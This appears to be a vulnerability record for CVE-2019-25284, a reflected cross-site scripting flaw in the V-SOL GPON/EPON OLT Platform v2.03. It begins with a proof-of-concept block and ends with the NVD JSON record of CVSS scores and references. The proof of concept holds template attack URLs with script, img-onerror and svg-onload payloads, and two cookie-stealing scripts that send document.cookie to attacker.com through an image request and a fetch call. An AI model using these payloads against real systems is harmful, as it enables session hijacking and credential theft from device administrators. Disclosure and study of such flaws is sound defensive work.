CVE-2019-25284

<!-- CVE-2019-25284 PoC - V-SOL GPON/EPON OLT Platform XSS --> <!-- PoC URL Structure --> <!-- Replace 'TARGET_URL' with actual V-SOL OLT Platform URL --> <!-- Replace 'INJECTION_POINT' with vulnerable parameter name --> <!-- Replace 'XSS_PAYLOAD' with desired JavaScript payload --> <!-- Example PoC URLs --> <!-- https://TARGET_URL/vulnerable_script?INJECTION_POINT=<script>alert(document.cookie)</script> --> <!-- https://TARGET_URL/vulnerable_script?INJECTION_POINT=<img src=x onerror=alert(document.cookie)> --> <!-- https://TARGET_URL/vulnerable_script?INJECTION_POINT=<svg onload=alert(document.cookie)> --> <!-- JavaScript Payload for Cookie Stealing --> <script> var stolenCookie = document.cookie; // Send cookie to attacker-controlled server var img = new Image(); img.src = 'http://attacker.com/log?cookie=' + encodeURIComponent(stolenCookie); </script> <!-- Automated PoC using fetch API --> <script> fetch('http://attacker.com/exfil?data=' + btoa(document.cookie)); </script> <!-- Note: This PoC requires user interaction (UI:R) to trigger --> <!-- Target must be authenticated or have active session --> <!-- Reference: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5537.php -->

{"cve": {"id": "CVE-2019-25284", "sourceIdentifier": "[email protected]", "published": "2026-01-08T00:15:58.627", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "V-SOL GPON/EPON OLT Platform v2.03 contains multiple reflected cross-site scripting vulnerabilities due to improper input sanitization in various script parameters. Attackers can exploit these vulnerabilities by injecting malicious HTML and script code to execute arbitrary scripts in a victim's browser session."}, {"lang": "es", "value": "V-SOL GPON/EPON OLT Platform v2.03 contiene múltiples vulnerabilidades de cross-site scripting reflejadas debido a una sanitización de entrada inadecuada en varios parámetros de script. Los atacantes pueden explotar estas vulnerabilidades inyectando código HTML y de script malicioso para ejecutar scripts arbitrarios en la sesión del navegador de una víctima."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://cxsecurity.com/issue/WLB-2019090194", "source": "[email protected]"}, {"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/167864", "source": "[email protected]"}, {"url": "https://packetstormsecurity.com/files/154631", "source": "[email protected]"}, {"url": "https://www.vsolcn.com/", "source": "[email protected]"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5537.php", "source": "[email protected]"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5537.php", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}